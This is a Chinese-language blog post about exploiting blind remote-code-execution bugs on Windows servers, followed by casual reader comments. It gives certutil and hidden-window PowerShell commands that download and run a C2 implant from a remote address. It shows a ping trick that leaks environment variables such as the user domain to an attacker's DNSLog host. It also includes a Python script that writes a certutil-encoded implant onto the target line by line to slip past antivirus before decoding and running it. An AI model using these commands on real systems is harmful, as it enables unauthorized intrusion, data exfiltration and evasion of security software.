当无回显RCE碰上Win服务器

当无回显RCE碰上Win服务器

AabyssZG
2023-07-17 / 8 评论 / 3,602 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2023年11月18日,已超过385天没有更新,若内容或图片失效,请留言反馈。

0# 概述

在日常的渗透过程中,总会碰到一些RCE漏洞,无回显的RCE漏洞更是家常便饭。对于无回显的漏洞利用,网上有不少文章,但我看了半天,都是Linux系统的

当无回显RCE漏洞碰上Win服务器,我们又该何去何从呢?故创建本文做个记录

RCE漏洞碰上win-title.jpg

本人才疏学浅,如本人有所疏漏,也望各位师傅指点一番

1# 无回显上线C2

遇到无回显的RCE漏洞,上线C2是不二之选,但这部分并不是今天的重点:

上传C2到服务器一般有以下操作(针对Win):

  1. 通过WebShell上传C2文件并执行
  2. 通过 Certutil 远程下载C2文件并执行
  3. 通过 PowerShell 远程下载C2文件并执行

通过 Certutil 远程下载C2文件并执行

certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数

通过 PowerShell 远程下载C2文件并执行

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数

但由于实际渗透场景的不同,根据账号权限、内网拓扑、安全软件的部署、安全设备的部署等种种情况的不同,很多时候我们并不能直接通过 CertutilPowerShell 这两种方式来上线C2

2# 无回显RCE获取敏感信息

众所周知,Windows其实有很多环境变量,如下:

环境变量变量类型变量描述
%ALLUSERSPROFILE%本地指所有用户的用户目录,通常是C:/ProgramData
%APPDATA%本地指当前用户的Application Data目录,通常是C:/Users/当前用户名/AppData/Roaming
%CD%本地返回当前目录字符串
%CMDCMDLINE%本地返回用来启动当前的Cmd.exe的准确命令行
%CMDEXTVERSION%系统返回当前的"命令处理程序扩展"的版本号
%COMPUTERNAME%系统返回计算机的名称
%COMSPEC%系统返回命令行解释器可执行程序的准确路径
%CommonProgramFiles%系统指公用文件目录,通常是C:\Program Files\Common Files
%DATE%系统返回当前日期,使用与 date /t 命令相同的格式
%ERRORLEVEL%系统返回上一条命令的错误代码,通常用非零值表示错误
%HOMEDRIVE%系统操作系统所在的分区号,基于主目录值而设置,同%SYSTEMDRIVE%
%HOMEPATH%系统同%USERPROFILE%,通常是Users/当前用户名
%HOMESHARE%系统返回用户的共享主目录的网络路径,基于主目录值而设置
%LOGONSERVER%本地返回验证当前登录会话的域控制器的名称
%NUMBER_OF_PROCESSORS%系统指定安装在计算机上的处理器的数目
%OS%系统返回操作系统名称
%PATH%系统指定可执行文件的搜索路径
%PATHEXT%系统返回操作系统认为可执行的文件扩展名的列表
%PROCESSOR_ARCHITECTURE%系统返回处理器的芯片体系结构
%PROCESSOR_IDENTFIER%系统返回处理器说明
%PROCESSOR_LEVEL%系统返回计算机上安装的处理器的型号
%PROCESSOR_REVISION%系统返回处理器的版本号
%PROMPT%本地返回当前解释程序的命令提示符设置
%ProgramFiles%本地指Program Files的路径,通常是C:/Program Files
%RANDOM%系统返回 0 到 32767 之间的任意十进制数字
%SYSTEMDRIVE%系统Windows系统所在的磁盘分区,通常是C:
%SYSTEMROOT%系统Windows系统目录
%TEMP%和%TMP%系统和用户指当前用户的临时文件目录,通常是C:/Users/当前用户名/AppData/Local/Temp,有些应用程序需要 TEMP,而其他应用程序则需要 TMP
%TIME%系统返回当前时间。使用与time /t命令相同的格式
%USERDOMAIN%本地返回包含用户帐户的域的名称
%USERNAME%本地返回当前登录的用户的名称
%USERPROFILE%本地返回当前用户主目录,通常是C:/Users/当前用户名
%WINDIR%系统返回操作系统目录的位置,通常是C:/Windows

如何查看具体环境变量的内容呢?如下:

RCE漏洞碰上win-1.png

直接用echo就能查看:

echo %CommonProgramFiles%
echo %SYSTEMDRIVE%
echo %SystemRoot%

那当目标服务器无回显RCE的时候,我们要怎么利用呢?这时候就可以配合DnsLog将数据外带出来:

首先我们先生成一个DnsLog地址(当然可以用自建的DnsLog服务器):

RCE漏洞碰上win-2.png

然后假设自己想知道目标机器的 %USERDOMAIN%(包含用户帐户的域的名称),就可以在命令行中执行以下内容:

ping -n 3 %USERDOMAIN%.刚才生成的DnsLog地址

RCE漏洞碰上win-3.png

这样就可以从DnsLog得知目标系统的环境变量了,实战如下:

RCE漏洞碰上win-4.png

这是某无回显RCE漏洞的实战场景(这个漏洞应该有师傅一看Payload就知道是哪个吧哈哈),利用这种方式直接能读取到目标系统的敏感信息

这里能通过Win的环境变量获取到很多有用的信息,能大大方便后续的渗透测试过程

3# 无回显ByPass上线C2

这里接 1# 无回显上线C2 的相关内容,现在调用 PowerShellCertutil 远程下载C2文件并执行都是安全软件的高权重安全事件,都会被相关安全软件阻止,那我们有什么方法通过RCE漏洞上传可执行文件呢?

注:这部分的内容仅供参考,要结合实际情况

首先我们先要了解一个Windows系统的自带工具:Certutil

很多人只知道可以通过 Certutil 进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)

3.1 加密C2可执行文件

首先,准备好C2可执行文件,通过 Certutil 进行加密导出

Certutil -encode C2可执行文件名.exe out.txt

加密导出.png

可以打开导出的TXT,看到文件有如下特征:

加密导出特征.png

-----BEGIN CERTIFICATE-----
加密后的内容
-----END CERTIFICATE-----

3.2 如何通过RCE写入文件

众所周知,通过命令行使用 echo 命令可以进行文件写入,其实是可以分为追加写入和覆盖写入的:

覆盖写入样例(只要有写入权限,out.txt 里面的内容都会覆写)

echo 1 > out.txt
//将 1 覆盖写入 out.txt

追加写入样例(只要有写入权限,out.txt 里面的内容会被追加写入)

echo 1 >> out.txt
//将 1 追加写入到 out.txt 的末尾

那我们就可以将上文生成的 out.txt,通过这种方式写入到服务器上,然后在服务器上通过 Certutil 解码出来就行了

3.3 编写脚本批量写入

这个时候就可以编写一个Python脚本批量发包,通过RCE漏洞将内容写入服务器,样例如下:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings()

def EXP(target_url, TxT):
    n = 1
    with open(TxT, 'r') as web:
        webs = web.readlines()
        for web in webs:
            web = web.strip()
            data = "rce= echo {} >> out.txt".format(web)     #RCE的相关传参内容,{}位置会被替换
            try:
                vuln_url = target_url + "漏洞相关路径"
                headers = {"Content-Type": "application/x-www-form-urlencoded",}
                requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
                response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
                if not('error' in response.text) and response.status_code == 200:
                    print("[+] 写入成功,响应码为:{} ".format(response.status_code)+" 这是第{}行信息".format(n))
                    n = n+1
                else:
                    print("[-] 写入中断,目标无响应\n ")
                    sys.exit(0)
            except Exception as e:
                print("[-] 请求目标失败 ", e)

if __name__ == '__main__':
    raw_url = str(input("请输入目标网站的URL\nUrl >>> "))
    if ('://' not in raw_url):
        raw_url = str("http://") + str(raw_url)
    if str(raw_url[-1]) != "/":
        raw_url = raw_url + "/"
    target_url = str(raw_url)
    print("正在尝试访问" + target_url)
    TxT = input("请输入要写入的TXT名字 >>> ")
    if TxT == "exit":
        sys.exit(0)
    else:
        EXP(target_url, TxT)

请根据自己的实际情况进行修改,脚本我随手写的,写的不好请见谅哈哈~

等批量写入完成后,可以解码并执行了,命令如下:

Certutil -decode out.txt out.exe
out.exe

4# 总结

很多时候,在学习或者工作中,碰到自己无法的解决的技术问题,不要马上丢给别人,自己一定要尝试去解决!虽然这个过程可能很痛苦,但随着自己摸索的过程,随着问题的解决,自己的能力和知识面就能逐渐提升和丰富

学习的过程便是如此,当你在未来回想这段时光的时候,一定会感谢那时努力的自己

No cross,no crown. 不见风雨,怎见彩虹? 诸君以此自勉

42

评论 (8)

取消
  1. 头像
    i曾哥的垚
    Android · Google Chrome

    哦~我亲爱的曾哥,这是你给我写的第521篇小作文,我会好好收藏。 ----爱你的垚

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ i曾哥的垚

      谁问你了?

      回复
  2. 头像
    izeng
    Windows 10 · Google Chrome

    画图

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ izeng

      好耶!

      回复
  3. 头像
    南桐
    MacOS · Google Chrome

    曾哥好,我爱曾哥

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ 南桐

      爱你爱你~

      回复
  4. 头像
    谜语人
    Windows 10 · Google Chrome

    我是网安小白表情

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ 谜语人

      一起学习一起冲!

      回复